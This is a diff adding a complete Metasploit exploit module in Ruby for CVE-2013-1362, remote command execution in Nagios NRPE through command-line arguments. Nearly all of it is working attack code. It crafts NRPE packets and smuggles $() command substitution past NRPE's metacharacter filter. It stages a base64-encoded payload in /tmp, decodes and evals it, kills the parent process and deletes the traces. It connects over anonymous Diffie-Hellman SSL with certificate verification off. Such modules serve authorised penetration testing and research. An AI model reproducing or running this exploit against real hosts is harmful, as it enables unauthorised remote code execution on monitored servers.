|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | +# |
| 8 | + |
| 9 | +require 'msf/core' |
| 10 | +require 'zlib' |
| 11 | + |
| 12 | +class Metasploit3 < Msf::Exploit::Remote |
| 13 | + Rank = ExcellentRanking |
| 14 | + |
| 15 | + include Msf::Exploit::Remote::Tcp |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution', |
| 20 | + 'Description' => %q{ |
| 21 | + The Nagios Remote Plugin Executor (NRPE) is installed to allow a central |
| 22 | + Nagios server to actively poll information from the hosts it monitors. NRPE |
| 23 | + has a configuration option dont_blame_nrpe which enables command-line arguments |
| 24 | + to be provided remote plugins. When this option is enabled, even when NRPE makes |
| 25 | + an effort to sanitize arguments to prevent command execution, it is possible to |
| 26 | + execute arbitrary commands. |
| 27 | + }, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Rudolph Pereir', # Vulnerability discovery |
| 31 | + 'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'CVE', '2013-1362' ], |
| 36 | + [ 'OSVDB', '90582'], |
| 37 | + [ 'BID', '58142'], |
| 38 | + [ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability'] |
| 39 | + ], |
| 40 | + 'License' => MSF_LICENSE, |
| 41 | + 'Platform' => 'unix', |
| 42 | + 'Arch' => ARCH_CMD, |
| 43 | + 'Payload' => |
| 44 | + { |
| 45 | + 'DisableNops' => true, |
| 46 | + 'Compat' => |
| 47 | + { |
| 48 | + 'PayloadType' => 'cmd', |
| 49 | + 'RequiredCmd' => 'perl python ruby bash telnet', |
| 50 | + # *_perl, *_python and *_ruby work if they are installed |
| 51 | + } |
| 52 | + }, |
| 53 | + 'Targets' => |
| 54 | + [ |
| 55 | + [ 'Nagios Remote Plugin Executor prior to 2.14', {} ] |
| 56 | + ], |
| 57 | + 'DefaultTarget' => 0, |
| 58 | + 'DisclosureDate' => 'Feb 21 2013' |
| 59 | + )) |
| 60 | + |
| 61 | + register_options( |
| 62 | + [ |
| 63 | + Opt::RPORT(5666), |
| 64 | + OptEnum.new('NRPECMD', [ |
| 65 | + true, |
| 66 | + "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg", |
| 67 | + 'check_procs', |
| 68 | + ['check_procs', 'check_users', 'check_load', 'check_disk'] |
| 69 | + ]), |
| 70 | + # Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below |
| 71 | + OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true]) |
| 72 | + ], self.class) |
| 73 | + end |
| 74 | + |
| 75 | + def send_message(message) |
| 76 | + packet = [ |
| 77 | + 2, # packet version |
| 78 | + 1, # packet type, 1 => query packet |
| 79 | + 0, # checksum, to be added later |
| 80 | + 0, # result code, discarded for query packet |
| 81 | + message, # the command and arguments |
| 82 | + 0 # padding |
| 83 | + ] |
| 84 | + packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum |
| 85 | + begin |
| 86 | + self.sock.put(packet.pack("nnNna1024n")) #send the packet |
| 87 | + res = self.sock.get_once # get the response |
| 88 | + rescue ::EOFError => eof |
| 89 | + res = "" |
| 90 | + end |
| 91 | + |
| 92 | + return res.unpack("nnNnA1024n")[4] unless res.nil? |
| 93 | + end |
| 94 | + |
| 95 | + def setup |
| 96 | + @ssl_socket = nil |
| 97 | + @force_ssl = false |
| 98 | + super |
| 99 | + end |
| 100 | + |
| 101 | + def exploit |
| 102 | + |
| 103 | + if check != Exploit::CheckCode::Vulnerable |
| 104 | + fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections") |
| 105 | + end |
| 106 | + |
| 107 | + stage = "setsid nohup #{payload.encoded} & " |
| 108 | + stage = Rex::Text.encode_base64(stage) |
| 109 | + # NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :) |
| 110 | + command = datastore['NRPECMD'] |
| 111 | + command << "!" |
| 112 | + command << "$($(rm -f /tmp/$$)" # Delete the file if it exists |
| 113 | + # need a way to write to a file without using redirection (>) |
| 114 | + # cant count on perl being on all linux hosts, use GNU Sed |
| 115 | + # TODO: Probably a better way to do this, some hosts may not have a /tmp |
| 116 | + command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text |
| 117 | + command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file |
| 118 | + command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage |
| 119 | + command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right? |
| 120 | + command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes |
| 121 | + command << "$(rm -f /tmp/$$))" # clean the file with the stage |
| 122 | + connect |
| 123 | + print_status("Sending request...") |
| 124 | + send_message(command) |
| 125 | + disconnect |
| 126 | + end |
| 127 | + |
| 128 | + def check |
| 129 | + print_status("Checking if remote NRPE supports command line arguments") |
| 130 | + |
| 131 | + begin |
| 132 | + # send query asking to run "fake_check" command with command substitution in arguments |
| 133 | + connect |
| 134 | + res = send_message("__fake_check!$()") |
| 135 | + # if nrpe is configured to support arguments and is not patched to add $() to |
| 136 | + # NASTY_META_CHARS then the service will return: |
| 137 | + # NRPE: Command '__fake_check' not defined |
| 138 | + if res =~ /not defined/ |
| 139 | + return Exploit::CheckCode::Vulnerable |
| 140 | + end |
| 141 | + # Otherwise the service will close the connection if it is configured to disable arguments |
| 142 | + rescue EOFError => eof |
| 143 | + return Exploit::CheckCode::Safe |
| 144 | + rescue Errno::ECONNRESET => reset |
| 145 | + unless datastore['NRPESSL'] or @force_ssl |
| 146 | + print_status("Retrying with ADH SSL") |
| 147 | + @force_ssl = true |
| 148 | + retry |
| 149 | + end |
| 150 | + return Exploit::CheckCode::Safe |
| 151 | + rescue => e |
| 152 | + return Exploit::CheckCode::Unknown |
| 153 | + end |
| 154 | + # TODO: patched version appears to go here |
| 155 | + return Exploit::CheckCode::Unknown |
| 156 | + |
| 157 | + end |
| 158 | + |
| 159 | + # NRPE uses unauthenticated Annonymous-Diffie-Hellman |
| 160 | + |
| 161 | + # setting the global SSL => true will break as we would be overlaying |
| 162 | + # an SSLSocket on another SSLSocket which hasnt completed its handshake |
| 163 | + def connect(global = true, opts={}) |
| 164 | + |
| 165 | + self.sock = super(global, opts) |
| 166 | + |
| 167 | + if datastore['NRPESSL'] or @force_ssl |
| 168 | + ctx = OpenSSL::SSL::SSLContext.new("TLSv1") |
| 169 | + ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE |
| 170 | + ctx.ciphers = "ADH" |
| 171 | + |
| 172 | + @ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx) |
| 173 | + |
| 174 | + @ssl_socket.connect |
| 175 | + |
| 176 | + self.sock.extend(Rex::Socket::SslTcp) |
| 177 | + self.sock.sslsock = @ssl_socket |
| 178 | + self.sock.sslctx = ctx |
| 179 | + end |
| 180 | + |
| 181 | + return self.sock |
| 182 | + end |
| 183 | + |
| 184 | + def disconnect |
| 185 | + @ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl |
| 186 | + super |
| 187 | + end |
| 188 | + |
| 189 | +end |
0 commit comments